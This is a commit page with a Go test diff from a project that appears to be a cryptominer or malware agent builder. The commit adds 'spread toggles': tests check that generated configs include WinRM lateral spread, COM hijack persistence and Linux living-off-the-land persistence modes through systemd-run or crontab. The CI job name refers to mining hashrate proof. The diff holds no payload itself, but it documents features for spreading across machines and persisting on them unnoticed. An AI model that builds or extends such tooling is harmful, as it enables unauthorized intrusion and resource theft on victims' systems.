Add forge spread toggles for WinRM and Linux LOTL
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 00:43:21 -07:00
parent 9ad4cce194
commit 6761d4285c
13 changed files with 204 additions and 3 deletions

View File

@@ -65,6 +65,31 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
if !strings.Contains(src, "AutostartMode") {
t.Error("expected AutostartMode field in generated config")
}
if !strings.Contains(src, "WinRMSpread") {
t.Error("expected WinRMSpread field in generated config")
}
if !strings.Contains(src, "COMHijackPersist") {
t.Error("expected COMHijackPersist field in generated config")
}
if !strings.Contains(src, "LinuxLOTLMode") {
t.Error("expected LinuxLOTLMode field in generated config")
}
}
func TestNormalizeLinuxLOTLMode(t *testing.T) {
tests := map[string]string{
"": "off",
"off": "off",
"SYSTEMD_RUN_USER": "systemd_run_user",
"crontab": "crontab",
"both": "both",
"invalid": "off",
}
for in, want := range tests {
if got := normalizeLinuxLOTLMode(in); got != want {
t.Errorf("normalizeLinuxLOTLMode(%q) = %q, want %q", in, got, want)
}
}
}
func TestBuildPlatformLabelAndBinDir(t *testing.T) {